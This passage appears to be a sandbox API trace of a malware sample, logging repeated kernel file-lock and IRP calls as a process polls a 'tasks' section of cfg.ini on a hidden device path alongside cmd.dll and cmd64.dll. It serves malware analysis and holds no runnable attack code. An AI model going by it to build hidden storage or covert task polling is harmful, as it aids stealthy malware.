ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.536] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.536] IdePortDispatch () returned 0x103 [0127.536] KeWaitForMutexObject () returned 0x0 [0127.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.536] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.536] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.536] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.536] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.536] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfbb80 [0127.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.536] KeLeaveCriticalRegion () [0127.536] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.536] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.537] KeEnterCriticalRegion () [0127.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.537] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.537] KeLeaveCriticalRegion () [0127.537] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.537] KeEnterCriticalRegion () [0127.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.537] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.537] IdePortDispatch () returned 0x103 [0127.537] KeWaitForMutexObject () returned 0x0 [0127.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.537] KeLeaveCriticalRegion () [0127.537] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.538] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.538] KeEnterCriticalRegion () [0127.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.538] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1e000 [0127.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.538] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.538] IdePortDispatch () returned 0x103 [0127.538] KeWaitForMutexObject () returned 0x0 [0127.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.538] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.538] IdePortDispatch () returned 0x103 [0127.538] KeWaitForMutexObject () returned 0x0 [0127.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.538] KeLeaveCriticalRegion () [0127.539] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.539] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.539] KeEnterCriticalRegion () [0127.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.539] KeLeaveCriticalRegion () [0127.539] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.539] KeEnterCriticalRegion () [0127.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.539] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.539] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.540] KeLeaveCriticalRegion () [0127.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.540] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.540] KeEnterCriticalRegion () [0127.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.540] ExFreePoolWithTag (P=0xfffffa8003bfbb80, Tag=0x0) [0127.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.540] KeLeaveCriticalRegion () [0127.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.540] ReleaseMutex (hMutex=0xf0) returned 1 [0127.540] Sleep (dwMilliseconds=0x927c0) [0127.558] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.558] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.561] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.561] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.561] KeEnterCriticalRegion () [0127.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.561] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.561] IdePortDispatch () returned 0x103 [0127.562] KeWaitForMutexObject () returned 0x0 [0127.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.562] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.562] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.562] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.562] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.562] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfbb30 [0127.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.562] KeLeaveCriticalRegion () [0127.562] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.562] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.562] KeEnterCriticalRegion () [0127.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.562] KeLeaveCriticalRegion () [0127.562] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.562] KeEnterCriticalRegion () [0127.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.562] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.562] IdePortDispatch () returned 0x103 [0127.562] KeWaitForMutexObject () returned 0x0 [0127.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.563] KeLeaveCriticalRegion () [0127.563] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.563] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.563] KeEnterCriticalRegion () [0127.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b27000 [0127.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.563] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.563] IdePortDispatch () returned 0x103 [0127.563] KeWaitForMutexObject () returned 0x0 [0127.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.563] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.563] IdePortDispatch () returned 0x103 [0127.564] KeWaitForMutexObject () returned 0x0 [0127.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.564] KeLeaveCriticalRegion () [0127.564] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.564] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.564] KeEnterCriticalRegion () [0127.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.564] KeLeaveCriticalRegion () [0127.564] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.564] KeEnterCriticalRegion () [0127.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.565] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.565] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.565] KeLeaveCriticalRegion () [0127.565] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.565] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.565] KeEnterCriticalRegion () [0127.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.565] ExFreePoolWithTag (P=0xfffffa8003bfbb30, Tag=0x0) [0127.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.565] KeLeaveCriticalRegion () [0127.565] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.565] ReleaseMutex (hMutex=0xf0) returned 1 [0127.565] Sleep (dwMilliseconds=0x927c0) [0127.587] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.587] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.587] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.587] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.587] KeEnterCriticalRegion () [0127.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.587] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.587] IdePortDispatch () returned 0x103 [0127.587] KeWaitForMutexObject () returned 0x0 [0127.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.587] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.587] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.587] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.587] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.587] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7760 [0127.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.587] KeLeaveCriticalRegion () [0127.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.588] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.588] KeEnterCriticalRegion () [0127.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.588] KeLeaveCriticalRegion () [0127.588] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.588] KeEnterCriticalRegion () [0127.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.588] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.588] IdePortDispatch () returned 0x103 [0127.588] KeWaitForMutexObject () returned 0x0 [0127.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.588] KeLeaveCriticalRegion () [0127.588] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.588] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.588] KeEnterCriticalRegion () [0127.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.588] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2c000 [0127.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.589] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.589] IdePortDispatch () returned 0x103 [0127.589] KeWaitForMutexObject () returned 0x0 [0127.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.589] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.589] IdePortDispatch () returned 0x103 [0127.589] KeWaitForMutexObject () returned 0x0 [0127.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.589] KeLeaveCriticalRegion () [0127.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.590] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.590] KeEnterCriticalRegion () [0127.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.590] KeLeaveCriticalRegion () [0127.590] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.590] KeEnterCriticalRegion () [0127.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.590] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.590] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.590] KeLeaveCriticalRegion () [0127.590] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.590] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.590] KeEnterCriticalRegion () [0127.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.590] ExFreePoolWithTag (P=0xfffffa800c4f7760, Tag=0x0) [0127.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.591] KeLeaveCriticalRegion () [0127.591] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.591] ReleaseMutex (hMutex=0xf0) returned 1 [0127.591] Sleep (dwMilliseconds=0x927c0) [0127.592] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.592] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.601] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.601] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.601] KeEnterCriticalRegion () [0127.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.601] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.601] IdePortDispatch () returned 0x103 [0127.601] KeWaitForMutexObject () returned 0x0 [0127.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.601] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.601] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.601] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.601] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.601] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e19a0 [0127.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.601] KeLeaveCriticalRegion () [0127.601] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.601] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.601] KeEnterCriticalRegion () [0127.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.601] KeLeaveCriticalRegion () [0127.602] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 